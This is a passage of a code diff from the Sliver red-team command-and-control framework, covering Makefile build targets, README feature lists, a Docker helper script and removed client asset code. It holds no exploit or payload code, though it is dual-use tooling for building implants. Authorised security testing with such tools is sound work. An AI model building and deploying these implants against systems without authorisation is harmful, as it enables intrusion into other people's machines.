-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+
+#
+# Prerequisites 
+#
+# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
+EXECUTABLES = uname sed git zip date $(GO)
+K := $(foreach exec,$(EXECUTABLES),\
+        $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
 
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
@@ -67,124 +39,92 @@ STATIC_TARGET := linux
 UNAME_S := $(shell uname -s)
 UNAME_P := $(shell uname -p)
 
+# If the target is Windows from Linux/Darwin, check for mingw
+CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
+
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
 	K := $(foreach exec,$(PB_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
 endif
 
-# *** Darwin ***
+# *** Start Darwin ***
 ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
+
+ifeq ($(UNAME_P),arm)
+	ENV += GOARCH=arm64
 endif
 
-# If no target is specified, determine GOARCH
-ifeq ($(UNAME_P),arm)
-	ifeq ($(MAKECMDGOALS), )
-		ENV += GOARCH=arm64
-	endif
+ifeq ($(MAKECMDGOALS), windows)
+	K := $(foreach exec,$(CROSS_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+endif
+
+endif
+# *** End Darwin ***
+
+# *** Start Linux ***
+ifeq ($(UNAME_S),Linux)
+ifeq ($(MAKECMDGOALS), windows)
+	K := $(foreach exec,$(CROSS_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+endif
 endif
 
 ifeq ($(MAKECMDGOALS), linux)
 	# Redefine LDFLAGS to add the static part
 	LDFLAGS = -ldflags "-s -w \
 		-extldflags '-static' \
-		-X $(VERSION_PKG).Version=$(VERSION) \
-		-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+		-X $(PKG).Version=$(VERSION) \
+		-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(PKG).GitDirty=$(GIT_DIRTY)"
 endif
+# *** End Linux ***
 
 #
 # Targets
 #
 .PHONY: default
-default: clean .downloaded_assets validate-go-version
-	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+default: clean
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
-# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
-# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
-.PHONY: client
-client: clean .downloaded_assets validate-go-version
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
-
-.PHONY: macos-amd64
-macos-amd64: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+.PHONY: macos
+macos: clean
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+macos-arm64: clean
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
 
-.PHONY: linux-amd64
-linux-amd64: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+.PHONY: linux
+linux: clean
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
-.PHONY: linux-arm64
-linux-arm64: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
-
-.PHONY: windows-amd64
-windows-amd64: clean .downloaded_assets validate-go-version
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
-
-.PHONY: clients
-clients: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
-	GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
-	GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
-	GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
-
-.PHONY: servers
-servers: 
-	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
+.PHONY: windows
+windows: clean
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
 
 .PHONY: pb
 pb:
 	protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
-	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
-.PHONY: debug
-debug: clean
-	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
-
-validate-go-version:
-	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
-		exit 0 ;\
-	elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
-		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
-		exit 1; \
-	elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
-		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
-		exit 1; \
-	fi
-
 .PHONY: clean-all
 clean-all: clean
 	rm -rf ./server/assets/fs/darwin/amd64
@@ -192,12 +132,8 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
-	rm -f ./.downloaded_assets
 
 .PHONY: clean
 clean:
-	rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
-
-.downloaded_assets:
-	./go-assets.sh
-	touch ./.downloaded_assets
+	rm -f sliver-client_arm64 sliver-server_arm64
+	rm -f sliver-client sliver-server *.exe

README.md

@@ -1,37 +1,32 @@
-# Sliver
+Sliver
+======
 
-Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
-
-# v1.6.0 / `master`
-
-**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
-
-For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
+![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
 ### Features
 
-- Dynamic code generation
-- Compile-time obfuscation
-- Multiplayer-mode
-- Staged and Stageless payloads
-- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
-- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
-- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
-- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
-- Windows process migration, process injection, user token manipulation, etc.
-- Let's Encrypt integration
-- In-memory .NET assembly execution
-- COFF/BOF in-memory loader
-- TCP and named pipe pivots
-- Much more!
+* Dynamic code generation
+* Compile-time obfuscation
+* Multiplayer-mode
+* Staged and Stageless payloads
+* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
+* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+* Local and remote process injection
+* Windows process migration
+* Windows user token manipulation
+* Anti-anti-anti-forensics
+* Let's Encrypt integration
+* In-memory .NET assembly execution
 
 ### Getting Started
 
-Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
+Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
 #### Linux One Liner
 
@@ -39,15 +34,11 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
 
 ### Help!
 
-Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
 
 ### Compile From Source
 
-See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
-
-### Feedback
-
-Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 
 ### License - GPLv3
 

SECURITY.md

@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
 
 ### Reporting a Vulnerability
 
-Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
+Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.

build.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python3
+#!/usr/bin/env python
 """
 Sliver Implant Framework
 Copyright (C) 2019  Bishop Fox
@@ -21,6 +21,12 @@ import os
 import sys
 import argparse
 
+try:
+    input = raw_input # Py2 / Py3 compatability
+except NameError:
+    pass
+
+
 INFO = "\033[1m\033[36m[*]\033[0m "
 WARN = "\033[1m\033[31m[!]\033[0m "
 BOLD = "\033[1m"
@@ -28,46 +34,40 @@ NORM = "\033[0m"
 
 
 def exec_cmd(cmd, ignore_status=False):
-    """Executes a command with some sugar"""
+    """ Executes a command with some sugar """
     print("\n" + INFO + " %s\n" % cmd)
     status = os.system(cmd)
     if status != 0 and not ignore_status:
         print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
-        if input("continue? [Y/n]: ").upper() != "Y":
+        if input("continue? [Y/n]: ").upper() != 'Y':
             sys.exit(status)
     return status
 
-
 def docker_rm_volumes():
     exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
 
-
 def docker_rm_containers():
     exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
 
-
 def docker_rm_images():
     exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
 
-
 def docker_prune():
     exec_cmd("docker image prune -f", ignore_status=True)
 
-
 def docker_rm_all():
     docker_rm_containers()
     docker_rm_images()
     docker_rm_volumes()
 
-
 def build():
-    status = exec_cmd("docker build --target test .")
+    status = exec_cmd("docker build -t sliver .")
     if status == 0:
-        print("\n\n" + INFO + "Build successful")
-
+        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
+        print(INFO+"Remember you'll need to manually forward network ports")
 
 def main(args):
-    """Execute the respective task(s) based on cli args"""
+    """ Execute the respective task(s) based on cli args """
     if args.rm_images:
         docker_rm_images()
     if args.rm_containers:
@@ -76,59 +76,42 @@ def main(args):
         docker_rm_volumes()
     if args.rm_all:
         docker_rm_all()
-
+    
     if not args.no_prune:
         docker_prune()
     if not args.no_build:
         build()
 
 
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser(description="automates interactions with docker")
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='automates interactions with docker')
 
-    parser.add_argument(
-        "--no-build",
-        "-b",
-        help="do not run build",
-        dest="no_build",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--no-prune",
-        "-np",
-        help="do not prune images",
-        dest="no_prune",
-        action="store_true",
-    )
+    parser.add_argument('--no-build', '-b',
+                        help='do not run build',
+                        dest='no_build',
+                        action='store_true')
+    parser.add_argument('--no-prune', '-np',
+                        help='do not prune images',
+                        dest='no_prune',
+                        action='store_true')
 
-    parser.add_argument(
-        "--rm-all",
-        "-rma",
-        help="rm all containers, images, and volumes",
-        dest="rm_all",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-containers",
-        "-rmc",
-        help="rm all containers",
-        dest="rm_containers",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-images",
-        "-rmi",
-        help="rm all images",
-        dest="rm_images",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-volumes",
-        "-rmv",
-        help="rm dangling volumes only",
-        dest="rm_volumes",
-        action="store_true",
-    )
+    parser.add_argument('--rm-all', '-rma',
+                        help='rm all containers, images, and volumes',
+                        dest='rm_all',
+                        action='store_true')
+    parser.add_argument('--rm-containers', '-rmc',
+                        help='rm all containers',
+                        dest='rm_containers',
+                        action='store_true')
+    parser.add_argument('--rm-images', '-rmi',
+                        help='rm all images',
+                        dest='rm_images',
+                        action='store_true')
+    parser.add_argument('--rm-volumes', '-rmv',
+                        help='rm dangling volumes only',
+                        dest='rm_volumes',
+                        action='store_true')
     try:
         main(parser.parse_args())
     except KeyboardInterrupt:

client/assets/.gitignore

@@ -1 +0,0 @@
-fs/**

client/assets/aliases.go

@@ -1,64 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"log"
-	"os"
-	"path/filepath"
-)
-
-const (
-	AliasesDirName = "aliases"
-)
-
-// GetAliasesDir - Returns the path to the config dir
-func GetAliasesDir() string {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, AliasesDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-// GetInstalledAliasManifests - Returns a list of installed alias manifests
-func GetInstalledAliasManifests() []string {
-	aliasDir := GetAliasesDir()
-	aliasDirContent, err := os.ReadDir(aliasDir)
-	if err != nil {
-		log.Printf("error loading aliases: %s", err)
-		return []string{}
-	}
-	manifests := []string{}
-	for _, fi := range aliasDirContent {
-		if fi.IsDir() {
-			manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
-			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
-				log.Printf("no manifest in %s, skipping ...", manifestPath)
-				continue
-			}
-			manifests = append(manifests, manifestPath)
-		}
-	}
-	return manifests
-}

client/assets/armories.go

@@ -1,125 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"log"
-	"os"
-	"os/exec"
-	"path/filepath"
-)
-
-const (
-	ArmoryConfigFileName = "armories.json"
-	DefaultArmoryName    = "Default"
-)
-
-var (
-	// DefaultArmoryPublicKey - The default public key for the armory
-	DefaultArmoryPublicKey string
-	// DefaultArmoryRepoURL - The default repo url for the armory
-	DefaultArmoryRepoURL string
-
-	DefaultArmoryConfig = &ArmoryConfig{
-		PublicKey: DefaultArmoryPublicKey,
-		RepoURL:   DefaultArmoryRepoURL,
-		Name:      DefaultArmoryName,
-		Enabled:   true,
-	}
-)
-
-// ArmoryConfig - The armory config file
-type ArmoryConfig struct {
-	PublicKey        string `json:"public_key"`
-	RepoURL          string `json:"repo_url"`
-	Authorization    string `json:"authorization"`
-	AuthorizationCmd string `json:"authorization_cmd"`
-	Name             string `json:"name"`
-	Enabled          bool   `json:"enabled"`
-}
-
-func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
-	for _, armoryConfig := range armories {
-		if armoryConfig.AuthorizationCmd != "" {
-			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
-		}
-	}
-}
-
-// GetArmoriesConfig - The parsed armory config file
-func GetArmoriesConfig() []*ArmoryConfig {
-	armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
-	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
-		return []*ArmoryConfig{DefaultArmoryConfig}
-	}
-	data, err := os.ReadFile(armoryConfigPath)
-	if err != nil {
-		return []*ArmoryConfig{DefaultArmoryConfig}
-	}
-	var armoryConfigsFromFile []*ArmoryConfig
-	var armoryConfigs []*ArmoryConfig
-	err = json.Unmarshal(data, &armoryConfigsFromFile)
-	if err != nil {
-		return []*ArmoryConfig{DefaultArmoryConfig}
-	}
-
-	// Force the default armory to be the last
-	defaultArmorySpecified := false
-
-	for _, config := range armoryConfigsFromFile {
-		if config.Name == DefaultArmoryName {
-			defaultArmorySpecified = true
-			continue
-		} else {
-			armoryConfigs = append(armoryConfigs, config)
-		}
-	}
-	if defaultArmorySpecified {
-		armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
-	}
-	RefreshArmoryAuthorization(armoryConfigs)
-
-	return armoryConfigs
-}
-
-func SaveArmoriesConfig(armories []*ArmoryConfig) error {
-	configData, err := json.Marshal(armories)
-	if err != nil {
-		return err
-	}
-	armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
-	err = os.WriteFile(armoryConfigPath, configData, 0640)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
-	if armoryConfig.AuthorizationCmd == "" {
-		return ""
-	}
-	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
-	if err != nil {
-		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
-		return ""
-	}
-	return string(out)
-}

client/assets/assets.go

@@ -19,27 +19,21 @@ package assets
 */
 
 import (
-	"fmt"
 	"log"
 	"os"
 	"os/user"
-	"path/filepath"
-	"strings"
-
-	ver "github.com/bishopfox/sliver/client/version"
+	"path"
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
-
-	versionFileName = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
 func GetRootAppDir() string {
 	user, _ := user.Current()
-	dir := filepath.Join(user.HomeDir, SliverClientDirName)
+	dir := path.Join(user.HomeDir, SliverClientDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -48,63 +42,3 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
-
-// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
-func GetClientLogsDir() string {
-	logsDir := filepath.Join(GetRootAppDir(), "logs")
-	if _, err := os.Stat(logsDir); os.IsNotExist(err) {
-		err = os.MkdirAll(logsDir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return logsDir
-}
-
-// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
-func GetConsoleLogsDir() string {
-	consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
-	if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
-		err = os.MkdirAll(consoleLogsDir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return consoleLogsDir
-}
-
-func assetVersion() string {
-	appDir := GetRootAppDir()
-	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
-	if err != nil {
-		return ""
-	}
-	return strings.TrimSpace(string(data))
-}
-
-func saveAssetVersion(appDir string) {
-	versionFilePath := filepath.Join(appDir, versionFileName)
-	fVer, _ := os.Create(versionFilePath)
-	defer fVer.Close()
-	fVer.Write([]byte(ver.GitCommit))
-}
-
-// Setup - Extract or create local assets
-func Setup(force bool, echo bool) {
